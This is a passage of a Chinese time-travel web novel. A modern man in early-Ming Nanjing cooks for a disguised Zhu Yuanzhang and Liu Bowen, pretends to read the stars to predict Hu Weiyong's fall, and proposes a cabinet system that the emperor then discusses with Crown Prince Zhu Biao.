而且让他有些警惕的是,这几日下朝后,这诚意伯好像都会被陛下留下,两人似乎在准备些什么事情…… 这些蛛丝马迹看下来,也轮不得他不多想。 得找个机会,和陛下亲近亲近了…… 站在文臣队列之首的李善长,在心里打定了主意。 可惜的是,下朝后,朱元璋并没有给他机会。 刚更换好衣物的朱元璋,又拉着刘伯温,往城外跑去。 “陛下……”刘伯温毕竟是年纪大了,追都追不上走得飞快的朱元璋。 “胡惟庸,哼。”朱元璋轻哼了一声,脚步依旧飞快。 已经来过两次,这次他们已经是熟门熟路。 不同于往日,这次他们带了些随从。 并不是惧怕朱安宁行什么不轨之事。 而是,现在朱安宁是个相当有价值的对象,反过来,他们得好好保护他。 所以朱元璋从都尉府抽调了几个相对机灵点的,让他们守在了主干道到朱安宁房车驻地岔路的路口边上。 这样,既不会被朱安宁发现,也不会说让无关人等突然闯到朱安宁那边去。 而被保护对象,朱安宁此时正在做饭。 昨日送走朱元璋和刘伯温后,他剩下的时间都在翻看以前存在硬盘里的一些农学资料,幸好本科时期的资料和后面看得杂七杂八闲书的电子版他都留在了电脑里,现在翻找起来,还真让他找到了这些作物的具体种植细节。 磨刀不误砍柴工……科学种植科学种植,如他昨日对朱元璋他们所说,他确实是没有失败机会的。 种岔了,那就是gg了。 所以看资料看到大半夜的他,今早直接就没起,一觉到了中午。 倒是省了点早餐的物资。 饿极的朱安宁,今天选择做的是土豆大盘鸡,的小盘版本。 手头上有相当多的土豆,种肯定是够的,所以今天就奢侈一把,吃上两个。 鸡肉早就去好了血水,提前腌了下底味。 比起昨日,他用多了一根红椒,当然,籽依旧是被他收集了起来。 条件有限,朱安宁也懒得炒糖色了,反正一会老抽调色就好。 油温在柴火的加热下迅速升高了温度,鸡肉被丢入迅速翻炒,很快起了点焦色。 接着花椒八角香叶三件套被朱安宁迅速丢入。 浓厚的香味飘荡在这小河边。 葱姜蒜也被接连放入,最后才是滚刀块土豆和盐。 后续的材料香味出来后,老抽调色,加水焖煮。 然后在等待的途中,熟悉的人,又在饭点时出现了。 “呵呵,安宁小弟,又在你吃午饭的时候打扰你了。今日的饭菜也是好香啊!”是刘伯温在说话。 说起来,他和朱元璋直接出了宫,是没有吃午饭的。 现在闻到这香到不行的大盘鸡。 肚子不受控制地咕咕叫了起来。 朱安宁听到了那咕咕声,却也只是笑了笑,没有点破,他熟练地摆出了碗筷给两人。 接着揭开锅盖,把早就准备好的青红椒丢了进去。 然后搅了搅,起锅装盘。 “伍爷,季爷,今天这是大盘鸡!两位稍等下,这大盘鸡得配面食,等我另起锅煮上先。” 本来还在那怒气冲冲的朱元璋,看到这油亮油亮的鸡肉,闻着令人愉悦的香味,不自觉也是消了些怒火。 “安宁小哥真是好手艺啊!”他感叹了句。 “行商这么些年,都是自己做饭惯了,两位爷能吃得开心就好。”煮着面条的朱安宁随口回了句。 不消片刻,面条也已经煮熟。 在朱元璋和刘伯温的注视下,朱安宁把面拌进了大盘鸡的汤汁里。 “好啦,二位请用。” 朱安宁做了个请的动作。 正要动筷的朱元璋,突然想起了什么似的,把一个小布袋丢给了朱安宁。 “200两银子和地契,地的范围就是咱们在的河这边过去一百亩。” 朱元璋随意划拉了下。 却让朱安宁有些咋舌。 古代的土绅都是这么豪横的么,这可是200两银子和100亩地啊……而且,这和约定的情况不对啊。 “季老……这……是您的地吧……”朱安宁沉吟了下,想要个回答。 “都是荒地,安宁小弟,这地,算是未来你照顾我两个孙子的报酬,你看怎么样?”刘伯温摸了摸胡子,说道。 而朱元璋,则有意无意地看了刘伯温一样。 听完刘伯温的说辞。 朱安宁也没有再矫情。 就是给点理由天降两个分功劳的关系户嘛。 这个我熟,那这点甜头自己收下,也很符合职场规矩。 这般想着的朱安宁,立马就心安理得了起来。 “那我就先谢过季老,和伍老了,两位快吃吧,一会凉了就不好吃了。” 话毕,三人也不再等待,大快朵颐了起来。 都是饿极的人,这面条吸满汤汁,吃得朱元璋和刘伯温红光满面。 脸上就像刻了个爽字般,那是满足的表情。 有了地契,又有了银两。 换言之,在这明初的时代,他已经有了最基本的立身之本,一念至此。 吃着大盘鸡的朱安宁终于可以长长地舒一口气。 于是,他也就没有再吝啬物资。 他第一次在两位他认为的天使投资人,或者说是创业合作伙伴面前,打开了房车的大门。 是时候给第三次造访驻地的伍爷,和季爷这两个古代人,一点小小的科技震撼了。 他麻利地从冰箱里掏出了冰啤酒。 递到了两人手中。 “冰!” “怎会如此之冰?!现在可是烈日当空,这冰啤酒是从何而来?!” 第十三章 凶兆,大大的凶兆 其实朱元璋刚想问方才吃的是否就是朱安宁口中的新作物。 口感味道确实上佳啊。 结果还未发问,手中就被塞了罐冰啤酒。 刘伯温亦是如此,两人怎会想到这大白天的还能有如此冰爽的东西出现。 都是不自觉地惊叫出声。 而他们的表现,很符合朱安宁的预期。 必须先给他们一点小震撼,一会自己说出的话语,才有可信度。 “呵呵,我用极西之地淘回来的凉石,提前冰镇好的酒。” “凉石?没听过啊。能有如此效果,很宝贵吧。”刘伯温惊叹于手中啤酒的冰凉。 朱元璋自不必说,也是张大了嘴巴看向了朱安宁。 “确实挺昂贵的,但是也就是只能比深井水效果好些而已。” 朱安宁可不敢说冰箱能产冰块,那这可就太惊世骇俗了,只是说类比深井水那种冰镇效果,好让两人更好接受。 “也足够了啊,若是炎炎夏日,能有这种效果,那已经是极好了。安宁小弟,你说那极西之地真是物产丰富啊。”朱元璋抬起头,盯了眼朱安宁。 “确实,丰富,方才二位吃的土豆,也是那儿的产物。” “土豆?这就是你说的亩产10石的新作物吧,味道确实很好!”是朱元璋接的话。 当然,刘伯温也点了点头。 而令两人没想到的是,朱安宁否定了他们的判断。 “这不是亩产10石的新作物,这是另外一种,名为土豆。” “土豆?长土里的豆子?这说法倒是新奇,不会这作物也能亩产10石吧!”刘伯温夹起了一块盘子里剩下的土豆,端详了起来。 10石?才1000斤,这也太低估土豆的产量了吧,虽然不及番薯那么变态,但也是随便1000多斤的啊,正常2000斤也不在话下。 只是和番薯一样,朱安宁并不敢一下就透露真实的产量,只能压低了说,省得太过惊世骇俗。 “这倒没有,这土豆,也就亩产……亩产7石吧。”朱安宁随口说了个数字。 高了不行,太低也不行啊。 所以折中取了个7. 对比昨日的10石,明显朱元璋和刘伯温已经对7石这个说法有了一定的接受能力。 “那也是相当好的作物啊!哎呀我们这把他吃了,你这还有种子么?不对,我刚才吃,也没吃出种子来啊。”朱元璋虽然对7石不会太过震撼,但是作为老农的他,还是敏锐地注意到了些细节。 “土豆也好,番薯也好,我这里还有相当多的种子……这两种作物和稻子麦子不同,这两种作物切块放土里就可以发芽了。” “居然如此便利?!安宁小弟,你这行商连地都会种?” “略知一二略知一二。”朱安宁知道是时候说真正重要的事情了,关于粮食作物,这些东西到时种下去就好,现在最紧迫的是,京城里是否已经风起云涌?要是影响到了他们三人背后的大臣,把自己连坐了岂不是完犊子了。 “我曾在边疆,跟着某位不愿意透露姓名的大师学习过一段时间各种杂学,其中就包括耕地,还有观星之类的东西。” 朱安宁尽量压低声音说话,以求表现得神秘些。 接着,他帮两人拉开了啤酒的拉环,顺便也拉开了自己的。 谈话配酒,那是随你忽悠。 朱安宁可是谨记着这职场饭局铁律。 “大师?大师还教耕地?不过观星的话,老夫也是略知一二。”刘伯温听见朱安宁说出观星两字,眼睛明显亮了起来。 ??? 这下轮到朱安宁一脸问号了。 你一乡下老头,观什么星,明初也就刘伯温敢说自己会点观星风水之术了吧,你个老头真敢说啊。 不过朱安宁也不太敢赌,万一这季老头真的会点东西,自己不就露底了么。 他连忙又找补了句,接着进入了正题。 “那大师所谓的观星术,授与我的时候,说法奇奇怪怪的,感觉不像是正道……哎,不过昨晚我夜观天象,倒是发现了点东西。” 两人刚吃完大盘鸡,现在又续上了口啤酒,那真是舒坦得很的时候,朱安宁的话又这么吊人胃口。 “天象怎么了?”朱元璋开口催促朱安宁赶紧说。 没想到朱安宁却突然笑了笑,闭上了嘴。 这可把朱元璋给气坏了,他吹胡子瞪眼正要说些什么时。 朱安宁就也知道气氛到了。 他连忙先一步开了口:“两位,怕也不是什么普通的乡野土绅吧。” 刘伯温正在喝啤酒,听朱安宁这么一说,差点被呛了个半死,在那咳个不停。 他和朱元璋对视了一眼。 却也知道这时不应该开口,应该等朱安宁继续说下去。 “两位背后应该是有位更有身份的人在吧。我那户帖,地契,应该没有那么容易解决才对。”朱安宁还是压低声音在那装神秘。 …… 这下朱元璋和刘伯温是真无语了。 感情全靠猜啊,边疆大师的观星术看来不太顶用啊。 朱元璋无语到不想说话,于是只能刘伯温出来找补。 “呵呵,我们确实是认识些朝中有的大员,但是也就是认识而已,办点事行个方便还是可以的。”他打了个哈哈,没有继续说下去。 朱安宁却也没有追问。 呵,承认就好。 他笑着说道:“我昨日夜观天象,北极斗南,总领百司之相星,似乎耀目得有些过分。” 朱元璋没有怎么理解前半句,但是他听到了相星和耀目四字,不由得皱起了眉头。 而刘伯温,却听得直接皱起了眉头,北极斗南,总领百司?这不就是自己曾学习过的观星风水术的说法么?怎么那边疆大师也是?而且昨夜那相星和平日的哪有什么差别啊…… 看着两人皱起眉头,朱安宁继续说了下去。 “如此耀目,是凶相。” “小弟何出此言。”是刘伯温发出的反问。 “相星耀目,那紫微星,帝星,怎会允许相星如此嚣张跋扈,独断专权呢?”他猛地把啤酒放到了桌面,冷笑了起来。 后半段说得直白。 也只是,朱安宁已经快要编不下去了……仅此而已…… 而此时,刘伯温,心里已经掀起了惊涛骇浪。 帝星,那就是朱元璋啊,相星耀目,凶兆? 他不由得看了眼朱元璋。 只见朱元璋,正饶有兴致地看着朱安宁。 “那安宁小弟,依你观星所见,紫微星和那相星,哪个更亮嘛?” 第十四章 搞个内阁就好了嘛 这一瞬间,朱元璋的气场展露无遗。 他可是终结了元朝,且在群雄割据中胜出的豪杰。 这让朱安宁有些恍惚。 这伍爷,怎么这么牛逼轰轰的感觉…… 不过做戏做全套,顶着压力也要演下去。 “相星,如何跟帝星匹敌?如此炫目,不过是加速自己的灭亡而已。”他按照提前想好的话术,继续说了下去。 “那相不在了,新的相又出现,会不会还是如此炫目逼人呢?”朱元璋,顿了顿,若有所指地在那自顾自地说着话。 这老伯,有点东西。 看来明朝是有能和自己掰掰手腕的键政侠的,放现代估计也是B站lv6,虎扑大手子了吧。 朱安宁只觉得这季老不仅听懂了自己的意思,似乎还想发散发散的感觉。 这事其实不复杂。 明朝的历史就写在书上,读过高中的人都知道。 胡惟庸是最后一任宰相,至此之后,中华再无宰相一职。 而刘伯温,还是在那冒着冷汗。 这是自己能听的东西么。 安宁小弟,你可要好好说话啊! 朱安宁哪管刘伯温什么想法,他只想告诉眼前两人,如果他们背后的大佬和胡惟庸有关系,那赶紧撇清一下。 毕竟现在他是在做产业孵化,伍大爷和季大爷就是他创业轮的天使投资人,在他眼中,三人就是一条绳子上的蚂蚱。 “咳咳,我这索性说得更直白些吧,两位背后的那位……不知和当朝的那位胡大人有没关系?” 朱安宁喝了口酒,看向了朱元璋和刘伯温。 “呵呵,我们哪能和那么大的官有关系呢?安宁小弟啊,你这是想太多了吧哈哈哈,咱们也就是和户部的检校有点来往而已。”朱元璋忽然猛地笑了起来。 这一笑,真就把刘伯温人都差点笑没了。 今天这话题非常不对劲。 可以的话,自己是完全不想听的……刘伯温开始闷头喝酒,默不作声。 而朱安宁听那朱元璋说和胡惟庸没关系后,不由得松了口气,那接下来就简单了,唬住这两老头别胡乱跑到城里去就行。 “怎么,安宁小弟也对那胡大人有意见?”朱元璋眯着眼,依旧还是在笑。 他可没忘记今早胡惟庸怼他的事情。 所以这笑,多少有点危险的意味。 “伍爷,您这话说的,我都没见过胡大人,而且我就一介草民,哪来的意见……只是啊,依我观星所看,朝堂要出大事啊。咱们普通百姓,还是少进城里掺和为妙。” 朱安宁顿了顿,想说得婉转些,反正目的是只要唬住这两老头就行。 “哦?能有什么事呢?”朱元璋却没想着就这样结束话题。 这倒让朱安宁犯了难。 我去,这个年代这么键政,会死人的吧,虽然说现在没有锦衣卫,但是这伍老头再问下去,总不能明说胡惟庸要被洪武给弄了吧。 “总之,短则最近,长则一年,这朝堂,必有大动荡。”朱安宁知道有些东西是不太好明说的。 他依稀记得,胡惟庸案应该是洪武十三年爆发的,具体的时间,他就真的记不清了。 朱元璋精芒一闪,只觉得这年轻人真的有点东西。 其实今朝与胡惟庸矛盾爆发之前,他就有思索过宰相是否权力过大的这个问题。 心里早就有关于用什么东西去代替掉宰相的想法。 只是,这个想法他从来未与人说过,包括他的好大儿朱标太子。 毕竟宰相制度,已经存在许多许多年了,贸然提出要废掉,多少有些骇人。 所以,他还一直在隐忍。 今天,是有点忍不下去了。 “总而言之,按你的说法,这相就是要被帝给灭了对吧。” 朱元璋直白地说出了朱安宁表达了半天的意思。 一旁的刘伯温,听见朱元璋的话语,那一口啤酒,是直接就呛到了喉中,咳了个半死。 连朱安宁都一副见鬼的表情。 他费尽心思说得婉转又婉转,连观星术这种话术都掏出来了。 怎么这老伯这么不上道?! “呃……那个……”朱安宁也不知道怎么接话。 场面一时有些尴尬。 “呵呵,你们那么紧张干嘛,附近又没人,我们不就是自己悄摸摸在这说闲话么?” “也是也是……” “所以安宁小弟啊,以你观星所得,这相星以后还会不会亮?” 这话中有话啊。 这伍老伯的政治嗅觉这么强么? 难道这就是京城人士敏锐的嗅觉? 既然朱元璋都说开了,朱安宁也只好直说了。 “相必亡。”他的回答十分简单:“且以后,我大明将再无相。” 这番话语一出,饶是朱元璋也惊骇了起来。 他刚才只是觉得朱安宁有点东西,现在来看还是小看他了啊!这西域观星术怎会如此精准?!自己想废掉宰相之职这个想法可是从未与其他人提过啊。 刘伯温就更是一副目瞪口呆的样子。 无相? 这个说法也太过惊世骇俗了吧。 “何以见得?” 朱安宁知道对方一定会问下去的,本来想再来一句观星所得打发掉就算了。 但是想了想,反正都键政开了,这两老头应该不至于傻到到处去胡吹,便也就好好回答了朱元璋的问题。 “洪武帝雄才大略,应该已经看出了相位,权势过大,他老人家是强主,能驾驭住,但是未来呢?” 一语中的。 朱元璋心中叹了口气,这是他一直在担忧的事情。 未来要是出现强相弱主,那天下不就易位了么? 他决不允许发生这样的事情! 只不过,这安宁小弟,怎么会知道自己心里所想啊,真是匪夷所思…… “那无相,那朝堂如何运作?”朱元璋压下那惊讶之情,继续问了下去。 “分权即可。” 见朱元璋居然真的和朱安宁探讨了起来。 刘伯温已经有点麻木了。 跑又不能跑,耳朵又捂不住。 能怎么办嘛…… “将那宰相之权分归六部?”朱元璋皱起了眉头。 “分给六部干嘛,洪武帝遇上点事情总不能每次都叫六部的人过来讨论吧,那事事如此,也太拖沓了吧。” 朱安宁安逸地喝着啤酒。 仿佛找到了大学时代和舍友喝小酒参政议政的感觉。 “组建独属皇帝的幕僚团队就好啦,由皇帝选拔,不授品级,对事只参议,决断仍归皇帝。幕僚对上,为皇帝,对下,则无指挥实权,是谓内阁制。” 嗯?这个做法,好像比自己的思索了许久的四辅官想法,更为实用啊! 看着侃侃而谈的朱安宁,朱元璋只觉得这个年轻人是越看越顺眼了。 第十五章 建个小宅子 朱安宁三言两语其实就已经说得相当清楚了。 “内阁制,妙啊。”朱元璋不免拍起了手来,脸上堆满了笑容。 越是简单的结构,执行难度越低,效果也越好。 这样自己说不定就可以从那些几千字的小论文里面解脱出来了,让内阁的人提炼总结给自己看,那不就方便多了么。 朱元璋一下就听懂了内阁制的精髓。 选拔和决断都在皇帝手中,且内阁不授品级,能执行好的话,那可真是皇权永固啊! 如果不是朱安宁和刘伯温还在这里,朱元璋早就激动地跳脚了。 困扰了他这么些年的事情。 就这么解决了?! 还有比这更爽的事情么。 他现在唯一要做的就是,把胡惟庸,赶下宰相的位置就可。 所以,最终,他开始克制不住,拍了起了掌来。 而朱安宁看着朱元璋拍手的姿势,只觉得他怎么看怎么像个领导……他隐隐觉得这伍伯有点不一般啊。 “一个既能帮助皇帝处理事务,却又没有权力的机构……”刘伯温也品出了其中的味道:“这……这是安宁小弟你想出来的么?!” 各朝各代,围绕着皇与相,不知道出了多少问题。 有些朝代甚至矫枉过正地堆叠出了一堆官员去制衡宰相,结果就是权力混乱。 历史上有无数人尝试过解决这件事。 只是,最终都以失败告终。 而现在这个大问题,被一个喝着啤酒的年轻人三言两语就解决了。 这让刘伯温很是受挫,他自诩谋略过人,没想到却远不及这年轻人思维之妙。 看着愣神的刘伯温,朱安宁有点想笑。 这内阁制他怎么想得出来嘛,是未来的朱元璋弄出了雏形,他的好四儿明成祖为了当征北大将军完善出来的啊。 “哎,是小子胡说八道而已,二位请勿说给外人知啊。”朱安宁摆了摆手,说得轻描淡写,这B装的真爽,比大学时在论坛虚空对喷爽多了。 “嗯,咱们这闲聊而已,不是么?怎么会有外人知道呢?哈哈,来,咱们再喝上一口!”朱元璋知道朱安宁担心什么,而他现在心情正好,于是哈哈大笑着回应了朱安宁,接着猛灌了一大口酒。 至于朱安宁所谓的胡说八道,朱元璋和刘伯温是一个字都不信的。 这内阁制,简直是天才的想法。 一口气喝光酒的朱元璋,非常愉悦。 如果朱安宁所言不虚,他的大明,即将获得两种新的主粮,产量都极高。 而且,他似乎还可以一劳永逸地解决相权过大的问题。 这大明江山,稳了啊! 这都是因为有了眼前这个年轻人。 朱元璋越看朱安宁是越顺眼,这年轻人不比比朝堂那些天天叽叽歪歪,屁事都要争个半天的大臣们要好得多么? “所以说安宁小弟,你真的不想当官么?呵呵。”于是朱元璋又试探性地问了句。 “当官?”刚陪着朱元璋喝完酒的朱安宁,头立马摇得像个拨浪鼓似的:“伍伯莫要开我玩笑,呵呵。” “安宁小弟,你为何如此抗拒啊。”听见朱安宁的回答,是刘伯温先急了起来。 能够想出内阁这等妙法的人才,那真是不多得啊。 朱元璋也看向了朱安宁。 两人都在等待着他的回应。 怎么又提这档子破事啊,哎……朱安宁在心里叹着气。 这两大爷对当官是有多执着嘛。 他们是不知道洪武有多哈人么? “呵呵,伍爷季爷,也不是小子想不想的问题啊,官又不是想当就能当的对吧?” “啊,这倒是。”听着朱安宁的话语,朱元璋也反应了过来,现在自己是伍伯的身份,哪能说让人当官就当官。 不过现在把朱安宁隐藏起来先也好。 待那土豆和番薯都能确定产出,自己再按功封赏即可。 “对了季伯,您的两个孙子什么时候过来,现在地已经确定好了,我想早点开始……”朱安宁见两人没有再继续聊当官的事情,也终于松了口气,换了个话题。 “安宁小弟,你看下午如何?下午我带人过来?”之前刘伯温只是觉得朱安宁有意思,而现在,他已经不知不觉,把朱安宁在自己心中的地位,又抬高了些,他隐隐觉得,朱安宁会的东西,绝不止现在表露的这么点,说不好自己的两个孙子,能跟着朱安宁学到不少东西! 朱元璋也看出了刘伯温的想法。 “嗯,下午就让他们过来吧,但是安宁小弟……你这马车房舍……好像有点小啊,能睡下那么多人么?” “啊?季伯你两孙子也住这?” 番薯和土豆的耕种可不是小事,朱元璋决不允许意外的发生,所以老早就交代了刘伯温,他的两个孙子未来要全程跟着朱安宁,直到有产出为止。 “还是住这边吧,这样也方便些……这样,由我出资,在这河边建个小宅安宁小弟你看可好?” “建宅?季伯您出资就不必了,我这里不也还有银两嘛,就是两位能不能帮我寻些靠谱点的工匠……我不想太多人知道这里……”对于有人要共住,朱安宁心里是100个拒绝的,而且还是两男的……这搞毛啊……但是建个固定的宅子,这个就相当有吸引力了!刚好自己手里又有钱。 结果没等刘伯温开腔。 朱元璋先开了口:“我这边有相熟的工匠,下午就可以过来,小宅子小半月即可建好。” “那就麻烦伍伯了。”朱安宁笑着回了话。 有熟人办事就是快,古代现代都一个样嘛,朱安宁在心里想着。 他却不知道的是,这伍伯可是洪武,要不是怕太过扎眼,他甚至可以动用更多的人手几天就给朱安宁建好这个宅子…… “对了,季伯,您孙子先不必过来了吧,我这房舍确实有点小,住不下三人……” “也好,等小宅建好再说,那耕种之事,安宁小弟你一个人能办妥?”朱元璋更关心的是,新作物的事情。 “呵呵,我又不是侍弄一大片田地,我只是小范围耕种一小批而已。” “那就辛苦安宁小弟啦。”刘伯温叹了口气,看来,自己两孙子,还得继续禁足半个月。 第十六章 相的罢黜 “对了,二位,我这衣裳是之前在外地行走的服饰,进京前购置的新衣裳一路颠簸,不知道掉哪去了……不知两位能否帮我购置些衣裳……” 送走朱元璋和刘伯温时,朱安宁突然想起这件重要的事情。 朱元璋看了眼眼前年轻人的奇装异服,也不由得笑了起来。 其实他一直很好奇那马车房舍,也很好奇朱安宁的奇怪服饰,但是每次前来此地,不是被新鲜的吃食吸引,就是被朱安宁的亩产10石还有内阁制震撼……哪还有空理他的衣服和房子。 “这样吧,我下午差人送几套衣服过来?”朱元璋心里突然有了个新想法,让刘伯温两孙子过来帮忙,可能人手还不太够,自己那几个儿子,好几个还未去封地的,新粮可不是小事,让老四也过来看看?顺便结交下朱安宁也是不错的。 本来最开始朱元璋考虑的是要不要朱标直接参与。 但是他的太子殿下,现在已经是每天轮轴转了……好像确实抽不出时间。 而老二老三朱棡朱樉都已经就藩,让老四朱棣来应当是最合适的了。 下午就让他送衣裳过来,顺便接触下朱安宁也好。 朱元璋是真的动了心思想让朱安宁为自己所用的。 只是新粮未定,这件事情也就先按表不动吧。 事情就此定下,朱元璋领着刘伯温沿路走回了主干道上。 顺路还交代了下看守路口的几个都尉府亲卫,让盯紧点勿要让闲杂人等进去,但是里面的人出来的话,不必阻拦。 看着两人离开的朱安宁,在确定四下无人后,咧嘴大笑了起来。 穿越前没有做到的事情,没想到回到这明初,居然就这么完成了…… “南京户口加南京房子……虽然是山卡拉的京郊,但是有山有水好像也还可以,自己这可就是地道的京爷了,虽然是南京……” 哼着小曲的朱安宁,转身回到了车里。 瞄了一眼电量,不出所料的,只要不要作死一直开着空调,这1000多w的太阳能,是完全够用的。 现在天气也不算特别热,朱安宁只是打开了风扇,然后插上了电脑电源。 单机游戏,启动!!! 没错,他的电脑里还存有野蛮6,war3,等一大堆单机游戏。 有房有车有田无贷款。 这种穿越大大的好。 就是啤酒和可乐,得关键时刻再拿出来喝了,这么造下去,可不太顶得住。 某人惬意地开始了中午的摸鱼时光。 耕田?下午再说吧,太阳有点大…… ———————— 宫里,朱元璋依旧是在批着折子,作为劳模二帝之一,他的工作强度现在是超过雍正的……毕竟,他还没拥有内阁。 一念至此,朱元璋就愈发想把那胡惟庸赶紧弄下去,然后组建好内阁,好让自己从这一堆小论文里解脱。 “父皇,您急召我过来是……” 朱标火急火燎地赶到了殿内。 他以为出了什么大事,结果一进来,看到的是朱元璋还在那批折子。 “标儿,今朝那胡惟庸你怎么看?” 怎么看? 朱标一直以来都是相对朱元璋要仁慈些的,就是朱元璋要诛九族和朱标觉得诛三族就够了的那种仁慈。 主持内政的朱标知道,第二次北征的失败,对朝廷来说,影响太大太大了。 也就是从第二次北征失败为起点,明初的文人集团开始冒头,以胡惟庸为首的文官,行事愈发高调。 “胡相虽然说的话不中听,但是我们现在的情况,确实需要再斟酌斟酌。” 北有残余,云南和西边那边也不太平啊。 现在朝中能数得上数的武官,大多都在外边,也正是因为如此,朝中的文官才会取得话事权。 哎……标儿还是不够果断。 明明什么都好,能力也够,就是遇事喜欢再三思考,如果真正遇上了大变局,哪会有那么多机会给你稳妥的选择。 朱元璋叹了口气。 知道自己的儿子还年轻,让他再成长些时日……也许会改变吧。 “我准备废相。”朱元璋早就屏退了四周,他的话语如同一声惊雷,在朱标耳边炸开。 “废相?!父皇……那谁能顶上胡相的位置,诚意伯?韩国公?” “我的废相指的是,我大明,以后再无相一职!”朱元璋说得掷地有声。 在朱标耳中却觉得荒诞无比。 他知道朱元璋早就不满那胡惟庸了,只是因为朝中势力盘根错节,所以才没有贸然动手。 现在朱元璋提起要废相,他好歹还是有点心里准备的。 但是说要以后无相。 那他就只能认为他父皇是耍脾气了。 所以朱标露出的是尴尬的表情。 “怎么?你觉得这相,是非有不可?” “父皇,自古以来,历朝历代,可都是由相,统领文官的啊……” “自古以来么……所以你是不赞同?” “如果父皇说要罢免胡相,我赞同,但也不宜操之过急。” “说下你的看法。” “如今胡惟庸在朝中,门生遍布,需要适当地先动一动旁枝末节的人,待巡行边界的魏国公等人回应天,再慢慢夺其权。” 朱标侃侃而谈,朱元璋也是在那点头认可了他儿子的说法。 这其实也是他最初的想法,魏国公徐达等人,常年不在应天府,这也是胡惟庸势大的原因之一。 本来他也是想待到徐达等人回来,他就可以把那胡惟庸连根拔起! “然后呢?” “然后?”朱标愣了愣神:“然后再挑选合格的贤才继任宰相。” 哎……自己的儿子,读书是读的多,处理事务也不急不躁。 但是,眼界似乎真的不如那朱安宁啊,现在真的有点好奇那小子究竟游历了什么地方,居然能把问题看得这么通透。 “这相,不必再选了,我说了,大明此后,无相。” “父皇……” “你我,皆是能压住下面的人,尚且会出现胡惟庸这种情况,未来你的子孙后代……你真的这么有信心么?” 朱元璋长长地叹了口气。 第十七章 相与内阁 信心? 朱标当然没有。 他在大本堂学习了诸多课程,里面自然也包括了唐宋元等各朝各代的历史。 宰相和皇权的斗争始终贯穿其中。 主弱,宰相祸乱朝纲的事例比比皆是。 “但是父皇,相位一空,这朝政也难以为继啊!”朱标并非不知道相位的缺陷,只是现在的他,根本无法想象无相统领文官,这个朝政该如何运转而已。 朱标可不是什么空有头衔的太子,他从明初起就已经实打实地参与朝事。 神州何其大,政务何其多,就每天那些折子,如果没有宰相分担政务,自己加朱元璋两个人,怕是批到三更半夜都批不完。 别把自己给累死了啊。 所以朱标才会如此激动,而且他自幼读的那些书,已经明确描述过了,再雄才大略的皇帝,如那些缔造汉唐盛世的圣主,依旧是需要宰相去辅助自己的。 对朱标来讲,皇帝,宰相,就是客观的存在,怎能说没就没呢。 朱元璋等朱标说完,多少还是有点失望,自己已经反复说想要废相了,朱标还是认为自己没有法子解决。 看来他读得书多,但是也会被那些书本所限制啊。 真是读万本书,不如那朱安宁行万里路了。 “宰相之位,我这边已经寻得妙计去替代了。” “什么?!”朱标看出了他的父皇,多少有点失落的样子,但是他已经来不及思索这其中的意味,他现在震惊的是,朱元璋居然想到了法子去替代宰相这一职位? “父皇,这可不是小事,是如赵宋那般权力分散?这绝不可取!”他顾不得朱元璋是他老爹,急躁了起来,语气也不再那么委婉,他只怕他老爹一时激动,会做出什么不可挽回的事情。 “我有说要分权么?” 朱元璋瞥了一眼自己的好大儿。 “没有……” 朱标顿了顿,又想继续说些什么。 只是,这次是朱元璋先开了腔。 不需要权力制衡,也不需要过度分权的内阁制,三言两语就能说清楚,朱元璋坐在那儿,一字一句地解释给了朱标听。 而我们的懿德太子,越听,表情就越丰富。 由最开始的老爹你讲,我就是听听而已。 到,有点意思。 再到后面的,沉思,而后大喜。 “这……这……父皇,你这想法……”朱标结结巴巴,僵在了那里,只觉得这等妙法,真是天纵奇才啊! “这可不是我想出来的。”朱元璋笑了笑,并没有想出风头的意思,不是他想的就不是他想的,他朱元璋想不出来,但是能想出来的人可以为他所用,这就够了!这就是老朱的想法。 “不是父皇?!” 朱标呆愣在了那里。 而此时,刘伯温恰好来到了门外。 他轻咳了一声,让朱元璋注意到了自己的到来。 与此同时,他也注意到到了,陪侍们都已经被屏退,殿内只有朱标在。 那不必说,肯定是中午的那件事了。 “诚意伯,进来吧。”朱元璋暂时没有理会还在那里消化内阁制的朱标,而是示意了下刘伯温。 “臣见过上位,见过太子殿下。”刘伯温规规矩矩地作了个揖,然后才把手中的东西呈现出来:“陛下,关于内阁制的奏折,臣已经拟定得差不多了,但是其中的细则,臣觉得应该要让陛下来定夺。” 朱标就等于是大明的副皇帝,这事,本来就是他该知道的。 所以刘伯温并没有因为朱标在场就不敢言语。 还愣在那里的朱标终于有了点反应。 他看见刘伯温手里的奏折,眼里全是震撼。 “是青田先生的妙计?!”他折服地拜了拜,深吸了一口气:“能有青田先生辅佐我父子,真是大明之幸,这等天纵奇才的妙计,不愧是青田先生!” 朱标激动得声音都有些颤抖。 然后,他等来的是,刘伯温和朱元璋的轻笑。 刘伯温也并非是喜功之人,况且朱元璋也知道这计谋的由来,所以连忙解释了起来,顺带挪了下自己的位置,他哪敢受这朱标一拜啊。 说不得是真的要折寿的,不折自己的,说不得要折自己三族的啊。 “太子,此计并非是我所想,老夫只是帮忙起草了个大概而已……” 他拱了拱手,示意朱标不要再行如此大礼。 这下轮到朱标懵逼了? 不是父皇,也不是刘伯温? 难道是韩国公? 不……不对,不可能,韩国公贵为太师,而且对胡惟庸多少也有些提携之恩,怎么会出此对文官影响绝大的计谋。 而且……韩国公李善长在朱标心中,也就是素来稳重,得体,在谋略上并非是如此顶尖的谋士。 朱标脑子里一片混乱。 朝堂中的文臣武将的名字一个个出现在他脑海里,又一个个被他排除。 青田先生已经是最谋略过人的那个了…… 还有高手!? 他张大了嘴巴,只能把目光投向了朱元璋。 朱元璋在那笑而不语,他本就是想让朱标知道,山外有山人外有人,书本并不能代表一切,所以才一直默不作声。 待到朱标张大嘴巴看向自己的时候,他便知道,是时候揭晓答案了。 “一名年轻人,就是我让你遣都尉府去查的那个年轻人,约莫二十出头。” “那个西域行商?朱安宁?!” 朱标的嘴巴还是没有闭上。 人是他查的,虽然没有查出什么来,但是明初嘛,人口流动也不算小,偶有这种突然冒出来的人,也不算是什么大事,况且他又没有做什么危害社会的事情,若不是朱元璋再次提起,他都要把这个人忘掉了。 “这等精妙的计谋!怎么会是一个年轻人能想出来的呢?” 朱标再次懵逼了。 他第一次感觉到了人的参差。 作为大明副皇帝,他素有贤名,人人都夸懿文太子好,朱标也不会觉得自己是什么蠢材。 只是……现在和这能想出内阁制的朱安宁一对比…… “标儿,读万卷书,有时,可能真的比不上行万里路啊,天下何其大,学识和见识,缺一不可。”朱元璋走下座位,去到了朱标身旁,轻轻地拍了拍他的肩膀。 “好了,现在,让我们来完善一下这内阁制吧!”他招呼了一声刘伯温。 三人,在殿内,围绕着这个决定大明未来的重要制度,开始了漫长的讨论。 